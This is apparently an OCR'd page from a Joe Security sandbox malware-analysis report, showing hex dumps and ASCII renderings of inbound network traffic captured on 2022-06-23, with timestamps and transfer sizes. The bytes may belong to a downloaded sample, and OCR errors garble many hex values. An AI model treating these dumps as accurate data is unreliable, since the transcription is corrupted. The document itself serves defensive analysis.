81 d7 b9 c2 32 7b 3a 9c¢ 1a 90 c7 Of 6e 12 23 09 2c a3 40 69 89 a6 2c 98 d6 1e e4 2f 51 cc 8d de 85 85 83 ac ¢3 3e 98 57
64 fa ea 80 a3 5d 30 8e 05 bb 30 b1 6d 10 4b 12 83 df f5 8¢ 3c 05 57 85 6b c9 29 4b 90 ca e8 5c 8f 6a 46 76 fe cf 81 92
60 9d 35 09 d6 e0 d6 b3 ea Of 7d 6b 7a 53 bb d7 1d ce

Data Ascii: 6EQ LUPxht:Y*GNZvV]zF:0q9c)8]00mK<U~fNSmjHXmWSEN{Rff7X0IW2{:n#,@i,/Q>Wd]00mK<WK)K\jFv'5}
kzS

Data Raw: f4 64 ac 1a f4 9d d4 5a 13 e0 23 6a 5b 82 f1 b5 8e 25 18 eb 77 ae fc fe al 31 62 fb 38 b5 96 88 f9 4a de c8 56
94 b8 8e f2 94 59 48 6¢ cc 54 92 93 64 6f d0 82 31 65 1b 3d 5d 1b 30 85 5e 33 ab 63 35 a4 23 b6 68 8b ea 33 06 c4 bf Ob
7a 65 dc 94 02 22 94 3e 8d 55 6a 85 9a 40 d0 2b 1c 43 0a 7d 99 el 75 d8 f9 1b e9 41 80 26 ff fc 23 d7 91 f7 81 cf 18 7e
5 26 8f Ob 5e fe c8 ac 59 f3 b8 a5 02 c2 f9 dd 88 04 ad 1b 62 0d 21 ee 37 a2 16 01 d8 8551 73 cd d8 11 e8 d9 e7 79 4a
bf 95 b9 9e 3e 56 5f c8 54 a2 fc 4d 8d 28 32 2e c4 8c 0d dO 14 16 30 67 c8 62 a5 3c 29 aa 8a 06 32 b6 2b 98 96 73 c8 91
a2 c5 ef 7 33 01 99 16 bc 4f 02 3c 54 1b 92 9f 2d 27 a8 51 72 86 35 a7 85 dc 32 60 de 6e af 06 c6 8a fc 83 cf 9a fa e3 a3
72 e5 e0 7d 4b 5f ce 26 2¢ 0d d1 99 1f b6 47 80 91

Data Ascii: dZ#j[%w1b8JVYHITdole=]0"3c5#h3ze">Uj@+CIuA&#~&"Yb!7QsyJ>V_TM(2.0gbh<)2+s30<T-'Qr52'nr}K_&,G
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2022-06-23 16:20:08 UTC 875 IN
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2022-06-23 16:20:08 UTC 891 IN
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Data

Data Raw: b1 6d 40 b4 ae b1 9a 29 d6 40 df 15 d5 Oa ae 24 94 b8 26 df 00 3a 69 74 39 54 82 29 92 f5 9c fc 90 ca c8 el
48 5f 6b 82 €9 47 ca 67 cb 50 e2 01 c6 60 5¢ d5 93 d8 ef 3a 6a da be b4 fb 7d bd f6 bb 1b 3d 45 05 5e 9e 47 63 24 ac 3d
e8 ee 70 3fal 58 68 37 1c 1f 39 18 b0 e2 b2 5c af d4 1a 31 fe 4d 78 c8 8¢ 10 50 68 53 55 97 Ob 87 4d f0 8c 15 7b 0f d6
9c b5 c3 be f6 ae c1 c1 02 25 b3 b0 b3 29 el c1 4c 9f 20 d3 b4 28 3d 16 83 b6 9d 39 b6 e8 37 cb 60 30 e7 b0 f6 34 38 19
7035 87 38 da 99 al 37 e6 ce el d3 b5 86 d1 79 5b d6 ff 7f 51 33 4f 26 97 c¢8 5a d1 07 f6 c¢3 3c 65 9b 99 74 2c fb d5 85 af
b4 b2 5a 2a b0 0a 5d 90 6¢ 6e 3a 2d 66 38 d4 2f 36 3e 17 a5 82 c¢3 3c 65 9b 99 74 2c fb 44 e3 b9 a3 d7 99 Oc d5 97 8f 96
03 14 0c 79 0d 04 c0 82 4f 43 d9 66 dc fc a3 72 52 ab

Data Ascii: m@)@$&:it9T)H_KGgP \:j}=E*Gc$=p?Xh79\1IMxPhSUM{%)L (=97 048p587y[Q30&Z<et,Z*]In:-f8/6><et
,DyOCfrR

Data Raw: 25 1f 36 67 be cf 33 bb 94 f6 ca 53 b4 fe eb d6 b4 eb 78 10 45 48 4b 47 bd 83 e6 7d e5 c3 5b 3a fa ef 99 25 2d
52 65 fd 35 €6 4d 58 ed 1d 4a 32 32 59 34 29 fe 00 e8 fe 44 72 56 5d b0 89 fd 3f c3 04 dc d3 dd el 4f 4e 61 d6 7a 75 75
b8 f0 68 da 52 c¢6 d3 a0 55 6d db fc 81 2a 62 a2 e8 c5 e6 72 9d 47 e0 c8 01 e2 be 83 b2 c6 d3 a0 55 6d db fc 81 2a 62 a2
e8c5e6729d 12 e8 78 6d f5 49 92 f7 62 f9 2¢ 55 Oc 19 ac d2 85 9e 58 39 40 c6 3b 6e 92 1d c1 71 a6 86 25 9f 9c bf 1d
27 14 75 bd af 85 9e 58 39 40 c6 3b 6e b7 19 fc c1 ae 1d b8 5b cc cc ¢7 37 Ob 7e 11 e2 58 16 33 f1 Oc 92 aa Oe 79 dO f2
9b 36 69 ce 58 b0 c5 67 83 3e d3 11 cd 8a b2 a5 a3 c8 54 de fO 77 99 6a 67 26 ce 1a 97 02 3f 66 38 aa da b8 12 a3 3d
5e b4 75 ¢8 78 b5 6a 5¢ da b6 fO 8e c2 02 f9 9d d4 64 d6

Data Ascii: %693SXEHKG}[:%-Re5MXJ22Y4)DrV]?0NazuuhRUm*brGUm*brxmlb,UX9 @;nq%'uX9@;n[7~X3y6i
Xg>Twjg&?f8="uxj\d

Data Raw: c7 6d 95 8b 14 fd 3e d9 74 6a ef 3e 5a 75 35 a9 d3 c2 a5 b6 2b Oc 76 el a5 71 72 ba 60 cb b9 2a a3 48 e7 28
99 f3 al ba 67 74 c4 Oa bd e2 40 1a 12 f9 69 24 54 1c 28 86 95 08 94 c4 4f a4 6a bc ¢6 92 cc eb ab 53 bf 99 5a 1c 41 cd
e3bc f7 d0 7c 1c f6 €3 54 6¢ e7 Oe 72 26 ef 64 ec 1d 15 d8 ce 16 c4 4d c4 b4 60 30 36 24 5b 48 02 2e 8d d6 ec 21 88 df
6282 67 99 27 cd 4b c9 33 03 fd af d5 2e 59 00 a3 fa 39 bc f8 70 cb a4 c5 2d ec 36 2a 7d 6f 97 6f 7d dc e0 9c bb 47 09
8a 55 91 3b 0f df d4 Ob 4d ed 1f 66 7a cf da d3 2c Oa f5 63 29 33 d6 0d e6 f4 63 Ob e2 43 d4 13 f7 el 59 aa d3 b6 eb 28
ae lcal8ael 74 b8 74 f5 c4 94 70 d3 24 03 1f d6 Oe 69 cO 3f a4 97 8b be 29 e8 f4 37 df 3 aa 69 43 1d 13 af ea 29 93 78
95 14 17 3d 4f c4 0d 87 2b 38 d7 6f 1a 6f bd 54 c8 6f

Data Ascii: m>tj>Zu5+var *H(gt@i$T(OjSZA|TIr&dM 06$[H.!bg'K3.Y9p-6*}00}GU;Mfz,c)3cCY (ttp$i?)7iC)x=0+8o0To

Data Raw: 7b 2e 87 d9 ee 9a 28 50 5¢ c2 ea 5a 04 76 f1 18 54 €9 a4 52 db 33 74 48 fd a9 a4 96 63 8b 54 78 94 83 a3 16
01 05 ca 8c a0 98 02 06 45 €9 74 a3 70 50 19 77 b5 8c 61 3 63 04 09 1c 8d f9 22 d5 3b d6 c1 4d 7c 24 32 d6 44 7b fO b8
0Oa bb 39 ba 34 €9 a5 7a 06 Oc 88 29 24 9f 87 fc 86 c3 1a 60 a5 d8 24 7b d1 88 d8 cd a9 09 c5 4c 03 4d 89 98 69 e 85 9e
58 39 40 c6 3b 6e c9 52 26 83 e4 3b e0 Ob 91 e4 4c fb eb ¢8 d5 05 5a 32 da bd Ob 70 5d 9c 7e 3e 53 aa fd a8 d5 28 16 c6
77 3fd5 74 7e de 43 9f d8 98 08 6d 11 18 1d a9 26 3c 57 fc 8a be f0 4a b9 9f 72 Oe al bc 48 19 e6 2e Oe 6f 46 7c bl 42
87 06 38 98 da 05 ff 87 a6 80 d0 8a bd 51 55 c9 51 Oc fe d3 c6 68 00 3f f5 57 ee 30 d1 al 3e 25 07 db c1 cd b5 22 c7 34
59 9f 25 ac d6 17 a8 8¢ 2d ca 73 00 b9 db 1c al bl a2 cc

Data Ascii: {.(P\ZVTR3tHcTxEtpPwac";M|$2D{942)$ ${LMiX9@;nR&;LZ2p]~>S(w?t~Cm&<WJIrH.oF|BBQUQh?W0>%"4Y
%-s

Data Raw: 5e al 9c 81 al 47 d2 78 b2 57 99 46 90 ba 24 76 74 1f fe 11 c3 cb ce 84 35 9b 05 4b 87 2c 44 6e €6 64 d2 2a
a2 4f 9e 53 7¢ 18 0f a6 a2 51 ad 1c ca 16 c3 64 a5 5b 95 32 0f ea 89 fd 91 d8 d9 af fe 9f fd f8 64 a5 8d d3 55 ea 63 €8 b4
5390 18 ea 03 be 1e 44 2d 5e b1 63 01 el fd 91 ea 68 6b 18 be b2 6 ff 14 2d c9 f3 59 c2 1e b9 66 cc b8 aa c1 bd 73 c6
fb 64 a9 de 57 al 82 6b 39 df 40 84 e8 a4 52 db 33 74 48 fd a9 be d7 2c e7 84 48 5f a0 b8 2f df d0 9d dc 56 60 b2 49 ce
bc 63 78 aa 95 5b 68 09 18 98 c9 bb 09 03 54 24 c1 19 c4 df 96 c0 2c f3 52 d6 Oa dc 80 37 ee 63 72 fd 15 7b 2e f1 aa 54
6e 74 87 97 e2 ec 6a d9 9b 1a 2e d7 aa b7 b5 d8 05 28 92 80 b7 4b d8 f4 de da 2f 55 69 43 4a 27 24 a8 39 f1 b5 a2 Oe
b2 a3 73 ef de 12 a4 52 db 33 74 48 fd a9 be d7 2c e7 84

Data Ascii: "GXWF$vt5K,Dnd*OS|Qd[2dUcSD-"chk-YfsdWkI@R3tH,H_/V lcx[hT$,R7cr{.Tntj.(K/UiCJ'$9sR3tH,

Data Raw: 40 81 e5 8 49 63 d9 2d 29 b7 88 f1 75 25 ae ac 2¢ be fe 66 €6 35 8a 50 77 60 62 03 f1 49 65 3b 99 a5 c4 36 df
26 31 ef 11 87 57 c9 72 ff 2f 36 40 81 1a e4 al b6 4d 52 3d 49 88 f1 75 25 ae ac 2¢ be 1f ed 51 6¢ 9e 4b e4 1d ce 66 91
47 93 79 6a 04 c4 36 df 26 31 ef 11 87 57 c9 72 ff 2f 36 40 81 1f 3a 79 14 a0 {6 1a b5 88 f1 75 25 ae ac 2¢ be 9b el c8 92
7f d5 be 25 di ff 18 cf 2e bb 02 8d ¢4 36 df 26 31 ef 11 87 57 ¢9 72 ff 2f 36 40 81 €3 5¢ 4c 62 {3 2a 9a 3f 88 f1 75 25 ae

ac 2c be a9 4a 94 60 3a 8b 4b d7 16 0d 56 a2 a9 13 b2 b2 c4 36 df 26 31 ef 11 87 57 c9 72 ff 2 36 40 81 e8 3d d9 3b of
68 9 16 88 f1 75 25 ae ac 2c be 7a 9f 82 71 71 ¢3 9¢ ec 86 9a 20 04 b4 64 2 1c c4 36 df 26 31 ef 11 87 57 ¢9 72 ff 2 36
40 81 1c f1 f5 96 06 34 35 c6 88 f1 75 25 ae

Data Ascii: @Ic-)u%,5Pw ble;6&1Wr/6@MR=1u%,QIKIGy|6&1WI/6@:yu%,%.6&1WI/6@\Lb*2u%,J":KVE&IWI/6@=;hu%
200 d6&IWI/6@45u%

Data Raw: bc 08 0f 5a f4 d1 9f e4 a4 32 94 f4 6a de d9 74 41 c9 fe 51 a6 6a 04 c2 6¢ b4 35 fb 78 9f 59 32 79 cc 78 ef 94
28 fa e5 85 b2 ee 6b 20 80 d5 ba 17 a3 49 32 d6 da 67 f4 5¢ bd 1e b9 6f 6¢ 7c 17 72 58 5b 28 ef 01 ab 21 bf 57 93 ce 44
35 f7 04 2 ae 5d 2d 2e b3 91 6a 08 fc 8 ce 9e 15 8d 29 63 b3 48 d7 b5 a9 ec 51 99 81 c5 0 4e Oe 50 fb b6 6e aa 03 be
€9 93 1c f2 4b 79 60 81 ef ad f1 bc 6b 49 ff 5a cc d1 fa b1 36 fe 62 e0 08 30 09 fc d9 e8 9d 66 08 9b 1c Oa 71 f2 af 32 3f
a0 e2 ae 58 Oe 3c 59 ea aa 5b b7 ¢3 05 2c b4 al 24 1e 69 85 Ob 50 b8 ae c6 27 23 38 ca ¢3 73 28 1f 81 4b 2b 57 d2 98
€8 43 34 ¢8 c0 20 64 97 51 a0 6a ea 8f e3 f5 24 c1 f2 a0 eb de 5f 53 1f 9c 90 88 4e 16 6a 7f 99 b2 fO €5 89 6e 32 be 36
00 2c 84 86 b8 7f a8 85 e8 b2 47 3b f6 Oc 8a 47 Oc a0

Data Ascii: Z2jtAQjI5xY2yx(k 12g\ol[rX[(\WD5]-.j)cHQNPnKy kIZ6b0fq2?X<Y[,$iP'#8s(K+WC4 dQj$_SNjn26,G;G

Data Raw: d2 df 47 c2 80 cb 5b 85 d6 7c 14 be 6¢ 33 d8 41 c4 fe €3 ¢9 51 a9 25 3a bc ae 5f a2 f0 4c 78 ac al 6e 58 6d 1le
05 d2 caf2 7e 44 52 4b a8 77 9d 2a 11 69 ae 55 da 65 7e a2 48 37 91 b2 d6 20 9c c7 15 3faa el 49 28 91 31 18 51 68
16 53 3d db 18 bb 74 0f 39 6b e5 a2 a8 c4 d0 6¢ da 74 2d 90 0d 19 a4 8c 42 77 5e €7 72 e3 af 35 b1 50 36 90 26 23 3e
28 de c2 11 f6 e3 1c 0a 94 eb 7c 6¢ 5¢ 01 4c e3 c9 51 a9 25 3a bc ae 5f a2 fO 4¢c 78 ac al 6e 65 8e 8c e4 4e 13 09 99 53
8e fa de f1 €8 9a 31 57 30 c7 f1 9e 62 90 f9 d3 31 9c dc 7a 8b f2 66 9e 16 15 9f {3 fd 9e db f9 ee 42 38 d5 b1l a8 1c 20 87
€140 a7 ca 3e 44 49 c0 73 19 d9 df 44 1d 00 42 6a 61 2e d1 95 7d 82 42 af 2d 95 fa 51 9e 77 2b 4b a4 c6 8d b6 2c 7d 95
2c d4 ba cc 17 57 f6 Ob 43 b1 d4 f2 1c 07 59 00 b9 a4 ea

Data Ascii: G[|I3AQ%:_LxnXm~DRKw*iUe~H7 ?1(1QhS=t9klt-Bw r5P6&#>(|\LQ%:_LxneNS1WO0b1zfB8 @>DIsDBja.}B-
Qw+K,}L,WCY

Data Raw: 5f 32 34 3d fa fe 74 36 38 b7 70 13 20 f1 4f 31 66 73 c8 d2 75 4b 40 53 7a ba 96 43 6f b9 95 6d ea a8 12 64 c9
96 fc db el b3 da 58 d6 22 2c 88 42 86 16 eb 32 12 cf 10 bd 6e €9 12 c6 10 09 de bf f4 7b 23 c1 3f 71 d6 5e 3d 18 89 1d
70 6f 94 69 c7 45 67 fe e6 b3 81 16 95 2c 1c 83 3f 3d 68 a0 3a 3d f1 f5 88 77 61 25 ab 8a 1a 99 53 2d 14 26 e8 9d 3b 92
26 5c 81 4b 7f 65 ea fb 01 e4 dO 8b €0 ef f3 5e a0 1f df 23 08 39 3b 8a 02 40 f9 51 14 c7 f8 9a bb 1d €9 a2 eb 0a c5 19 da
0d 73 4e 4b 57 6¢ 63 a0 1f d3 35 ea dc 74 29 8e 6f a4 81 8c 5f 6f €3 5f 5¢ 76 67 03 ce 95 b5 79 6e 78 b3 28 Oa b8 09 b8
d58252 17 72 08 49 db 75 3a 0b 61 el a0 cc 16 d1 33 31 6f b1l 56 34 5d 2a fe 47 35 34 6d d9 41 26 3f c3 e5 23 9e 70 a4
€9 9e c1 cb c0 8c 06 d4 71 3f 4e 76 5b a6 Of bb 7e

Data Ascii: _24=t68p O1fsuK@SzComdX",B2n{#?q"=poiEg,?=h:=wa%S-&;&\Ke #9;@QsNKWIc5t)o_o_\vgynx(Rrlu:a
310V4]*G54mA&?#pq?Nv[~
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2022-06-23 16:20:08 UTC 922 IN
2022-06-23 16:20:08 UTC 930 IN
2022-06-23 16:20:08 UTC 938 IN
2022-06-23 16:20:08 UTC 945 IN
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Copyright Joe Security LLC 2022

Data

Data Raw: 43 74 5a e3 76 c2 bb 56 6¢ 05 4d c7 16 99 2c 7b b6 8c cc 4d €9 dd 52 df 6d 57 67 82 5f 13 2d 40 65 3a 53 33
6d 85 28 30 13 63 c0 98 a2 8 ef 62 bc le f1 7a 7b 94 7e 6b 52 5e a8 3f 8d 2b a8 2f 4f ab f0 ea f5 05 24 84 b7 a7 04 f9 10
11 2c 6¢ ed 90 4e a8 6b 71 3e 3b b6 e6 06 5¢ 12 99 19 e8 bb 21 3d 26 3a 8c a9 a2 9f 13 bf el 59 31 92 Oc f4 37 e4 b2 58
9d 22 60 e3 f7 94 b6 9a 66 e4 87 b4 7f 21 43 63 02 a7 30 ae af b0 46 f3 be ad 36 7b bf 14 76 c7 f9 88 36 2c 61 f2 05 5f 02
€6 d4 0d ff c4 48 ab 8d 4a 84 3b c1 77 d8 01 60 9c ed 4e 2b f1 65 3a 3d 54 11 0a 91 6e d9 09 le 87 6f cf 2b 20 8f 4a 06
58 b5 f6 24 5b b4 el 61 69 83 8f e3 df bb de 11 99 db 48 14 71 f4 95 35 8 9c f2 79 e2 41 fe ca 3a f1 25 5b 41 al 1c 87 d5
b4 Oc 7e b7 c9 38 3f bc ae 1b ¢3 d2 1f 10 d9 86

Data Ascii: CtZvVIM,{MRmWg_-@e:S3m(0cbz{~kR"?+/0%$,INkg>\1=&:Y17X" fICcOF6{v6,a_HJ;w N+e:=Tno+ JX$[a
iHg5yA:%[A~8?

Data Raw: 34 ba be 88 56 cb 94 a6 c2 a6 f0 4b 19 7b fb 1f 54 28 06 ea Oe 98 02 4b 50 ac 39 b1 b3 de 7e 91 f6 d4 58 e4
2521 a5 77 bl cb 9e e4 f9 24 07 77 e2 09 el 36 30 2a f4 6 66 cc 25 ab 8f 5¢ 4e 24 25 17 a3 26 d3 40 52 64 51 b6 10 96
le f5 f4 ef 16 3e 90 95 30 f8 4f b4 b8 30 ca 3a 21 c0 33 40 bc 4d 54 12 b3 8d 21 ff a7 4c 88 Oe ab 86 c2 c7 Ob 91 47 85 36
ed a9 92 f6 d6 8d 51 b8 c6 7e 40 ca 94 a3 33 d9 f3 f2 9a 22 e9 d6 35 87 e0 5d 55 2b c1 a2 8f 0d 57 5a aa 3e bd ba d3 cf
25 ba 54 01 85 a7 4e cf bf 71 cd f4 b9 78 b3 b7 e7 a9 76 5a bd 3f 2f 4c 88 a8 0f 3e 0d 48 48 df 18 be 14 4f 12 2f 59 91 a5
0a 07 b6 65 f8 21 bf 39 8b 8c 54 48 37 ae 17 80 b6 c5 d6 eb b6 68 0 5d 60 al e2 3b 23 5f f8 Of 60 af 9e 6d 69 8¢ 72 29
€307 03 e6 a9 6d 3c 74 a3 74 07 a2 c5 a2 96 85 6d

Data Ascii: 4VK{T(KP9~X%!w$w60*f%\N$%&@RdQ>000:!3@MT!LG6Q~@3"5]U+WZ>%TNgxvZ?/L>HHO/Ye!9TH7
h]";#_"mir)m<ttm

Data Raw: b3 aa 85 f6 bl 43 03 af 9a f0 fb 3d d2 cf d6 37 da 3e 58 3f d5 9c b8 b7 ba 89 f2 6f ef 75 3¢ d2 52 75 25 0f 69 ef
1a 27 4c 64 65 40 5c be 61 93 26 2c af cc ¢3 Oc b8 81 15 5a 2a d9 24 22 5f 0d 30 96 9a e5 3e 9a d9 52 a4 e8 ea 51 30
78 6e 63 17 7b b5 3f de be 97 3b 94 5a Oe 97 d5 c4 e8 a4 8b 23 c0 02 0d c6 2c 73 80 53 42 4c 7f 30 el b0 d9 32 98 2e 2c
08 d9 c0 98 24 ec 31 0a 23 31 6d 5b 77 98 bb 94 0f ef a6 89 b7 2e 57 6a 31 13 88 c4 7a dc 05 c7 5¢ 8a 81 ed 06 86 a4 62
43 b6 c7 da 61 b6 0f 46 09 a4 e5 37 ef 5a b5 47 1f bc 5d 87 ¢3 cd b9 a8 88 cd 3 b5 fa 12 9a ab 38 7b a6 03 cb 66 Ob ff 53
a6 29 5f 56 6 b6 aa 3c d1 e5 7c c0 67 Oa c1 e0 8f 6b 5d 41 e6 2d d2 35 72 da e3 el 43 17 1e 63 1b e2 04 2b 46 b4 b8 1b
52 d0 2e 77 1d al el da aa 99 98 c0 28 20 4d e3 68

Data Ascii: C=7>X?0u<Ru%i'Lde@\a&,Z*$"_0>RQOxnc{?;Z#,sSBL02.,$1#1m[w.Wj1z\bCaF7ZG]8{fS)_V<|gk]A-5rCc
+FR.w( Mh

Data Raw: 44 31 69 4d ba a0 48 43 fd 84 32 99 64 31 c7 e6 6d c0 6 c1 34 3d 76 d2 47 f3 95 ec bf 1c 95 65 de aa 37 91
b2 d6 20 9c c7 15 cc 2a 2a c5 e7 d6 38 ad a9 22 95 ba df 87 34 Of bb 0a ae 43 71 09 d2 ee 90 01 c4 85 bf d0 29 63 73 ea
c0 b9 4e 58 84 dd 6e 70 bd 04 94 9c c5 Of bc e9 ae 9f 6e c6 b2 07 62 03 b2 6f dc ¢8 52 da d4 5b d8 f1 2e 97 bb 59 Ob 75
84 be 16 fd b0 79 a9 22 95 ba df 87 34 0f bb 0a ae 43 71 09 d2 ee 5b a7 dd 49 1e 92 16 40 73 ea c0 b9 4e 58 84 dd 6e 70
bd 04 94 9c c5 0f 93 46 34 b9 70 1c e4 77 cb c8 e2 f4 b7 d8 4d 97 c8 12 ea 6 5f ce 8b 04 Oc 55 b9 41 93 20 dO 5e 3c 27
e4 6b e9 fc 02 f4 28 15 8d 04 7e a0 21 79 42 74 71 25 79 b6 d8 47 2a df da 70 4b 6f 11 4d Oe b4 25 5e 92 22 76 9b 75 57
00 Oe b8 66 89 f8 49 ee 9a 67 42 29 03 9e 04 a0 bf f8 7e

Data Ascii: D1iIMHC2d1m4=vGe7 **8"4Cq)csNXnpnboR[.Yuy"4Cq[l@sNXnpF4pwM_UA ~<'k(~lyBtq%yG*pKoM% "vuWfl
g9B)~

Data Raw: 55 be c8 f9 f4 9f 53 d7 6f 7a 6d Oe 0a 06 2e 3b 21 44 bc 3e 87 79 cf 5d 86 83 af cc ¢3 Oc b8 81 15 5a 7d 8c d8
bd ad 39 9d f8 db 2a c0 31 35 8b 3e 48 f0 20 83 49 d1 fb b4 48 c9 32 2c ae fd 7a 89 16 47 2c b5 ef 57 1b 1c a2 b2 2c 68
ac 97 ¢3 81 62 fd 45 00 be 6b b3 ac 21 ac da da 75 7f 52 3b 87 6e b4 5a 14 ca 67 46 82 39 e2 20 1f 35 b5 80 10 ce b8 6d
6e c4 8d c3 4d 33 75 89 7e 82 93 cf ¢7 32 a0 53 ff 19 87 87 27 af cc ¢3 Oc b8 81 15 5a 62 27 a8 59 07 15 9d d6 67 92 41
30 b8 d2 07 5¢ cc 47 el cf 81 b0 7d d1 eb d5 63 08 43 b7 b1 64 66 69 70 c5 58 db b0 9b 5b 3c f8 9e 3c 1a 2a f5 76 03 41
05 7b c2 a9 30 e2 fb af 6e b4 14 5e 7c 38 97 84 5b b0 b7 62 b3 79 ca 92 2f c0 2c Ob a8 b7 2f 1a a0 80 f4 2¢ 43 1f 2b b5
e5 51 ae 31 fc 2b b2 ca 57 Oa e5 da 73 c6 25 e7 a3 5f

Data Ascii: USozm.;!D>y]Z}9*15>H IH2,zG,W,hbEK!UR;nZgF9 5mnM3u~2S'Zb'Y gA0\G}cCdfipX[<<*vA{On"|8[by/,
/,C+Q1+Ws%_

Data Raw: 8f e7 a6 58 06 59 df ea e8 61 17 87 49 40 a2 6e 20 26 f0 9a 5b 09 d4 72 97 90 5d a3 ba e8 02 87 a6 ee 1d 9b
12 fa ef da d3 fe 61 00 05 f9 17 a7 ed 3f 8b c1 89 dc 5¢ 94 c0 90 4b e6 1b 80 a9 d4 08 a2 6f f8 db 82 9f ea 1b c0 c6 f5 29
e3 ba e0 f8 a5 92 23 b8 3b 40 5c Ob b4 6e ce de ae 94 e4 ee 19 fd 60 Oa 6d fO eb e6 e5 2e 0d 78 29 2a 8a f5 4b 4e 67 a9
df df Oc 18 a0 91 2a 06 b6 Oc f5 a7 4c b4 ea 87 57 bd 9b 4b 1b ce 73 5b 5¢ 5¢c c0 aa 23 a4 54 87 dd 23 12 3c d3 17 17 80
6b ff 29 5f c3 2a 62 a2 e8 c5 e6 72 9d 31 62 6e a3 69 a2 70 cd 60 70 94 e6 9a 31 8f 29 f3 94 b0 2f 06 18 c1 a0 e4 71 06
1353 43 25 25 96 ab c3 4c 05 ec 5e 11 37 2f Oe ab e8 b5 9a 9c ac 97 b5 b5 b7 4a f3 e3 a0 b9 c4 17 ed 39 e7 ca d6 79 93
115 7d 32 67 d1 df 1d 3e 18 b7 f6 61 €582 72 77 79

Data Ascii: XYal@n &[r]a?\Ko)#;@\n"m.x)*KNg*LWKs[\\#T#<Kk)_*bribnip p1)/qSC%%L"7/I9y}2g>arwy

Data Raw: a3 04 23 9f 7 72 ee 86 8c 81 22 4d 3e 3a 50 9a 11 c8 9f 5f b3 5e bf d5 22 7f ¢3 d0 b3 bd 35 94 ae 21 9c 9d 64
d5 ff 01 16 ¢7 78 e3 9f ab ac 31 63 d3 e4 08 55 63 6¢ b7 44 75 92 b6 23 06 ce Oe 10 ca 7f 47 Oa cO Of 99 9a c7 5a 6¢ ef f3
68 1c e8 27 35 9b c0 29 99 4e dc e0 66 21 56 80 33 98 2¢c 6b ae 19 ec 9b 1f bb Ob af 3d 6f 81 98 8a ae fb 39 cb c8 e2 f4
b7 d8 4d 97 6e 63 3f 27 2d 5f 7a 2f d5 2f 49 9b ae 96 1b 33 14 94 al e9 57 25 53 b0 ff 4d 6b 9d ec 5f 67 19 8f 89 65 b5 f5
c8 73 3e 5¢c 34 al b9 fb 9a 77 94 92 b6 23 06 ce Oe 10 ca bf b9 26 0d 64 9a f8 84 9d e0 33 15 84 2d ca 2¢ 62 8f 7c ¢7 19
b4 06 5a 6f bb af f5 d1 ¢1 05 3d 11 c3 06 a6 eb el 2e d2 8b 1f f1 f2 5a 06 ba de d8 92 f5 9b b9 2f 7f 4¢c 71 7f 3e ef fO 4d e3
d0 79 18 1b de b8 78 74 88 68 29 4d 33 b2

Data Ascii: #r"M>:P_""5ldx1cUcIDu#GZIh'5)NfIV3,k=09Mnc?'-_z//I3W%SMkK_ges>\dw#&d3-,b|Zo=.Z/Lq>Myxth)M3

Data Raw: 2a 7f 7f 26 0a b9 58 c9 65 a2 fb cf 67 d7 73 2b d7 a2 49 b2 bb 18 ec 24 b1 86 a2 31 29 18 bf 8b 52 d6 62 22
99 61 9a 8d 7b c8 35 aa 5e bd 8b 5a 19 1d 8e 04 6a 2d 61 4c c6 Ob 19 06 35 56 2a 6 06 7c d9 ab 24 8b c8 e6 de a2 8a
2176 db d8 00 57 dc 10 8b a9 50 66 69 b1 9e a2 a6 6a 16 7 21 4f 1a 30 90 7b 17 6e cO 3 7e db 8 10 95 8 b 3f 87 b5
10 aa 25 07 de b0 c5 4e 23 e5 b7 90 85 57 6¢ 04 97 58 23 2b b9 19 7f 5 86 22 a5 07 20 86 ed b1 1d cd 7a 20 ca 6¢ 2f 81
00 ce 45 20 2d 92 24 ea b9 02 78 0d 86 bd 2c 51 8a dd a3 88 ca 87 89 d1 1b 12 77 dc 91 ca 78 ¢4 4b b3 b3 18 e4 8 7c
b6 ab ba 0f b0 2¢ 19 73 a3 0d ca d9 4d af be 54 34 4d 5d 9d 22 14 d8 ac 63 22 de 61 b0 ca 98 c5 63 4f db eb 4e 94 b3 63
df a7 0f dd 35 f9 f6 5 59 90 e4 48 a2 7b €6 b2 b2 29 b6 4e ee

Data Ascii: *&Xegs+1$1)Rb"a{5"Zj-aL5V*n|$VWPijlO0{n~2%N#WIX#+_" 7 I/E -$x,QwxK|,sMT4M]"c"acONC5YH{)N

Data Raw: 7b 0d 07 12 0b 66 f1 b3 5¢ 97 cf 41 ¢3 80 03 61 21 d8 2b bc 47 d8 ca eb ac 03 07 12 Ob 66 f1 b3 5¢ 97 4d cO
5b 0a 65 62 da ee 3f 34 20 4c e4 3d 8a a4 07 12 Ob 66 f1 b3 5¢c 97 a9 ce 58 88 be 99 a0 db f5 17 24 33 4e fd eb c7 07 12
0b 66 f1 b3 5¢ 97 6a 49 8¢ 77 52 f5 f4 7a 91 fb 9a 50 c1 32 ec a9 07 12 Ob 66 f1 b3 5¢c 97 a9 b8 87 33 e5 2f 45 1a 49 bf 10
€899 47 2b 24 94 a8 a5 47 bc 9d 03 3a 74 c1 08 1e ff 04 2c ae a0 8e 67 2d 62 48 00 18 de 26 el d9 02 d2 70 fc 07 12 Ob
66 f1 b3 5¢ 97 61 b6 be ae 5a 1le c9 fa 16 20 1la ca 2b 45 fe 4d 4c 30 33 b8 1c de 09 78 71 25 f2 82 eb 68 c1 00 85 53 06
d8 7f 8a e7 a6 58 0d f9 7b 86 84 98 0d df 8e 53 67 c5 be b8 a9 5b bb bd a9 ad 99 c4 {7 58 0d f9 7b 86 84 98 0d 3c 01 30
6a b9 26 48 d3 ca 1d 56 37 48 66 67 29 60 ce ca 65 59

Data Ascii: {\Aal+Gf\M[eb?4 L=AX$3NAjlwRzP2A\3/EIG+$G:t,g-bH&pf\azZ +EMLO3xq%hSX{Sg[X{<0j&HV7Hfg) eY

Page 80 of 112



kBytes

Timestamp transferred Direction
2022-06-23 16:20:08 UTC 969 IN
2022-06-23 16:20:08 UTC 977 IN
2022-06-23 16:20:08 UTC 984 IN
2022-06-23 16:20:08 UTC 992 IN
2022-06-23 16:20:08 UTC 1000 IN
2022-06-23 16:20:08 UTC 1008 IN
2022-06-23 16:20:08 UTC 1016 IN
2022-06-23 16:20:08 UTC 1024 IN
2022-06-23 16:20:08 UTC 1031 IN
2022-06-23 16:20:08 UTC 1039 IN

Copyright Joe Security LLC 2022

Data

Data Raw: c6 86 0a b4 f7 4b a0 82 04 48 2c a5 73 7c a7 d5 0f a0 01 31 7d 26 89 al 71 la 3c 79 f4 84 27 fb 2a 3c 06 94
3a 94 86 36 ba 9f 41 d0 a8 5a f7 44 fe 46 9f e6 39 a2 14 55 c1 9d d7 c¢3 19 86 €0 6d ca 15 8f f2 30 b2 b8 4b 8 8a 2b d1 c5
